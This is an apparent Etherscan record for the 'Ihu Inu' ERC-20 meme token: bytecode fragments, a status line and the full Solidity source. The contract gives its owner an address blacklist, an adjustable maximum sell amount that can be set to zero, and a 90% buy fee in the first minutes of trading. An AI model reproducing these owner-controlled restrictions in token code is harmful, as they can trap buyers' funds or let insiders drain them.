80832033845290915290205482111561052f5760405162461bcd60e51b815260206004820152601460248201527379656e632f61626f76652d616c6c6f77616e636560601b60448201526064016103e9565b6001600160a01b038416600090815260026020526040902054610553908390610b2e565b6001600160a01b038516600090815260026020908152604080832093909355600381528282203383529052205461058b908390610b2e565b6001600160a01b0380861660009081526003602090815260408083203384528252808320949094559186168152600290915220546105ca908390610b16565b6001600160a01b038085166000818152600260205260409081902093909355915190861690600080516020610b5c8339815191529061060c9086815260200190565b60405180910390a35060019392505050565b33600090815260016020819052604082205460ff161515146106525760405162461bcd60e51b81526004016103e990610aed565b6001600160a01b03831661066557600080fd5b816004546106739190610b16565b6004556001600160a01b03831660009081526002602052604090205461069a908390610b16565b6001600160a01b038416600081815260026020526040808220939093559151909190600080516020610b5c833981519152906103a39086815260200190565b3360009081526001602081905260409091205460ff1615151461070e5760405162461bcd60e51b81526004016103e990610aed565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b33600090815260016020819052604082205460ff161515146107695760405162461bcd60e51b81526004016103e990610aed565b6001600160a01b03831661077c57600080fd5b8160045461078a9190610b2e565b6004556001600160a01b0383166000908152600260205260409020546107b1908390610b2e565b6001600160a01b038416600081815260026020526040808220939093559151600080516020610b5c833981519152906103a39086815260200190565b336000908152600260205260408120548211156108465760405162461bcd60e51b81526020600482015260176024820152763cb2b73197b2bc31b2b9b9b4bb3296ba3930b739b332b960491b60448201526064016103e9565b33600090815260026020526040902054610861908390610b2e565b33600090815260026020526040808220929092556001600160a01b0385168152205461088e908390610b16565b6001600160a01b038416600081815260026020526040908190209290925590513390600080516020610b5c833981519152906103a39086815260200190565b600054610100900460ff16806108e6575060005460ff16155b6109495760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016103e9565b600054610100900460ff1615801561096b576000805461ffff19166101011790555b6004829055336000908152600260209081526040808320859055600191829052909120805460ff1916909117905580156109ab576000805461ff00191690555b5050565b80356001600160a01b03811681146109c657600080fd5b919050565b6000602082840312156109dc578081fd5b6109e5826109af565b9392505050565b600080604083850312156109fe578081fd5b610a07836109af565b9150610a15602084016109af565b90509250929050565b600080600060608486031215610a32578081fd5b610a3b846109af565b9250610a49602085016109af565b9150604084013590509250925092565b60008060408385031215610a6b578182fd5b610a74836109af565b946020939093013593505050565b600060208284031215610a93578081fd5b5035919050565b6000602080835283518082850152825b81811015610ac657858101830151858201604001528201610aaa565b81811115610ad75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600f908201526e3cb2b73197b7b7363c96b0b236b4b760891b604082015260600190565b60008219821115610b2957610b29610b45565b500190565b600082821015610b4057610b40610b45565b500390565b634e487b7160e01b600052601160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208424d887b20522ffe56bd1b8860d27bb851dca6bbe3fbb24537187c7114faafe64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,367 |
0x6db66f9755e4cfe02d74da41e782718967634877
|
/**
*Submitted for verification at Etherscan.io on 2022-01-05
*/
/*
Ihu Inu
https://t.me/IhuInuToken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IhuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 888888888 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Ihu Inu";
string private constant _symbol = unicode"IHUINU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _IhuFee = 8;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousIhuFee = _IhuFee;
uint256 private _BuyFee = _IhuFee;
uint256 private _SellFee = _IhuFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _IhuFee == 0) return;
_previousTaxFee = _taxFee;
_previousIhuFee = _IhuFee;
_taxFee = 0;
_IhuFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_IhuFee = _previousIhuFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_IhuFee = _BuyFee;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
_IhuFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_IhuFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _IhuFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 IhuFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(IhuFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 888888888 * 10**9; // TX LIMIT
_maxSellAmount = 8888888 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (360 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setIhuHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101c65760003560e01c80637ded4d6a116100f7578063c9567bf911610095578063e47d606011610064578063e47d60601461053a578063e8078d9414610573578063f2cc0c1814610588578063f84354f1146105a857600080fd5b8063c9567bf914610491578063cba0e996146104a6578063db92dbb6146104df578063dd62ed3e146104f457600080fd5b8063a9059cbb116100d1578063a9059cbb1461041d578063a985ceef1461043d578063af9549e01461045c578063c3c8cd801461047c57600080fd5b80637ded4d6a146103a65780638da5cb5b146103c657806395d89b41146103ee57600080fd5b80634126f6951161016457806368a3a6a51161013e57806368a3a6a51461033c5780636fc3eaec1461035c57806370a0823114610371578063715018a61461039157600080fd5b80634126f695146102dc5780634303443d146102fc5780635932ead11461031c57600080fd5b806323b872dd116101a057806323b872dd1461026957806327f3a72a14610289578063313ce5671461029e57806337117a78146102ba57600080fd5b806306fdde03146101d2578063095ea7b31461021457806318160ddd1461024457600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600781526649687520496e7560c81b60208201525b60405161020b919061275b565b60405180910390f35b34801561022057600080fd5b5061023461022f3660046126aa565b6105c8565b604051901515815260200161020b565b34801561025057600080fd5b50670c55f7bbee0830005b60405190815260200161020b565b34801561027557600080fd5b5061023461028436600461263d565b6105df565b34801561029557600080fd5b5061025b610648565b3480156102aa57600080fd5b506040516009815260200161020b565b3480156102c657600080fd5b506102da6102d53660046126d5565b610658565b005b3480156102e857600080fd5b506102da6102f736600461270d565b6106ac565b34801561030857600080fd5b506102da6103173660046125cd565b6106e1565b34801561032857600080fd5b506102da6103373660046126d5565b610853565b34801561034857600080fd5b5061025b6103573660046125cd565b6108d8565b34801561036857600080fd5b506102da6108fb565b34801561037d57600080fd5b5061025b61038c3660046125cd565b610925565b34801561039d57600080fd5b506102da610947565b3480156103b257600080fd5b506102da6103c13660046125cd565b6109bb565b3480156103d257600080fd5b506000546040516001600160a01b03909116815260200161020b565b3480156103fa57600080fd5b50604080518082019091526006815265494855494e5560d01b60208201526101fe565b34801561042957600080fd5b506102346104383660046126aa565b610ba1565b34801561044957600080fd5b50601954600160a81b900460ff16610234565b34801561046857600080fd5b506102da61047736600461267d565b610bae565b34801561048857600080fd5b506102da610c03565b34801561049d57600080fd5b506102da610c39565b3480156104b257600080fd5b506102346104c13660046125cd565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104eb57600080fd5b5061025b610c87565b34801561050057600080fd5b5061025b61050f366004612605565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054657600080fd5b506102346105553660046125cd565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561057f57600080fd5b506102da610c9f565b34801561059457600080fd5b506102da6105a33660046125cd565b611058565b3480156105b457600080fd5b506102da6105c33660046125cd565b611223565b60006105d53384846113e8565b5060015b92915050565b60006105ec84848461150c565b61063e843361063985604051806060016040528060288152602001612916602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906119c7565b6113e8565b5060019392505050565b600061065330610925565b905090565b6000546001600160a01b0316331461068b5760405162461bcd60e51b8152600401610682906127ae565b60405180910390fd5b801561069e576010601355600060125550565b600860138190556012555b50565b6000546001600160a01b031633146106d65760405162461bcd60e51b8152600401610682906127ae565b601491909155601555565b6000546001600160a01b0316331461070b5760405162461bcd60e51b8152600401610682906127ae565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156107845760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b6064820152608401610682565b6001600160a01b03811660009081526008602052604090205460ff16156107ed5760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610682565b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b8152600401610682906127ae565b6019805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6001600160a01b0381166000908152600a60205260408120546105d990426128aa565b6016546001600160a01b0316336001600160a01b03161461091b57600080fd5b476106a981611a01565b6001600160a01b0381166000908152600260205260408120546105d990611a86565b6000546001600160a01b031633146109715760405162461bcd60e51b8152600401610682906127ae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109e55760405162461bcd60e51b8152600401610682906127ae565b6001600160a01b03811660009081526008602052604090205460ff16610a4d5760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610682565b60005b600954811015610b9d57816001600160a01b031660098281548110610a8557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610b8b5760098054610ab0906001906128aa565b81548110610ace57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610b0857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600890915260409020805460ff191690556009805480610b6557634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610b95816128c1565b915050610a50565b5050565b60006105d533848461150c565b6000546001600160a01b03163314610bd85760405162461bcd60e51b8152600401610682906127ae565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6016546001600160a01b0316336001600160a01b031614610c2357600080fd5b6000610c2e30610925565b90506106a981611b0a565b6000546001600160a01b03163314610c635760405162461bcd60e51b8152600401610682906127ae565b6019805460ff60a01b1916600160a01b179055610c8242610168612853565b601a55565b601954600090610653906001600160a01b0316610925565b6000546001600160a01b03163314610cc95760405162461bcd60e51b8152600401610682906127ae565b601954600160a01b900460ff1615610d235760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610682565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d5f3082670c55f7bbee0830006113e8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9857600080fd5b505afa158015610dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd091906125e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1857600080fd5b505afa158015610e2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5091906125e9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e9857600080fd5b505af1158015610eac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed091906125e9565b601980546001600160a01b0319166001600160a01b039283161790556018541663f305d7194730610f0081610925565b600080610f156000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f7857600080fd5b505af1158015610f8c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fb1919061272e565b5050670c55f7bbee08300060145550661f946583b0300060155542600f5560195460185460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561102057600080fd5b505af1158015611034573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9d91906126f1565b6000546001600160a01b031633146110825760405162461bcd60e51b8152600401610682906127ae565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156110fa5760405162461bcd60e51b815260206004820152602260248201527f57652063616e206e6f74206578636c75646520556e697377617020726f757465604482015261391760f11b6064820152608401610682565b6001600160a01b03811660009081526006602052604090205460ff16156111635760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610682565b6001600160a01b038116600090815260026020526040902054156111bd576001600160a01b0381166000908152600260205260409020546111a390611a86565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b0316331461124d5760405162461bcd60e51b8152600401610682906127ae565b6001600160a01b03811660009081526006602052604090205460ff166112b55760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610682565b60005b600754811015610b9d57816001600160a01b0316600782815481106112ed57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156113d65760078054611318906001906128aa565b8154811061133657634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600780546001600160a01b03909216918390811061137057634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556007805480610b6557634e487b7160e01b600052603160045260246000fd5b806113e0816128c1565b9150506112b8565b6001600160a01b03831661144a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610682565b6001600160a01b0382166114ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610682565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610682565b6001600160a01b0382166115d25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610682565b600081116116345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610682565b6001600160a01b03821660009081526008602052604090205460ff16156116975760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610682565b3360009081526008602052604090205460ff16156116f15760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610682565b6000546001600160a01b0384811691161480159061171d57506000546001600160a01b03838116911614155b1561196a57601954600160a81b900460ff161561179d57336000908152600a602052604090206002015460ff1661179d5760408051606081018252600080825260208083018281526001848601818152338552600a909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6019546001600160a01b0384811691161480156117c857506018546001600160a01b03838116911614155b80156117ed57506001600160a01b03821660009081526005602052604090205460ff16155b1561188757601954600160a01b900460ff1661184b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000